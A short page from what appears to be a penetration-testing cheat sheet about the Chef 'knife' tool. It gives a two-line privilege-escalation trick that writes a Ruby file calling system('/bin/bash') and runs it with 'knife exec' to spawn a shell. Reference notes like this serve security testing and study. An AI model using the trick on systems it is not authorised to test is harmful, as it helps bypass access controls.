> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/kashz-jewels/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/kashz-jewels/services/chef-knife.md).

# chef knife

<https://docs.chef.io/workstation/knife_exec/>

## Privilege Escalation

```
echo "system('/bin/bash')" > shell.rb
knife exec <shell.rb>
```
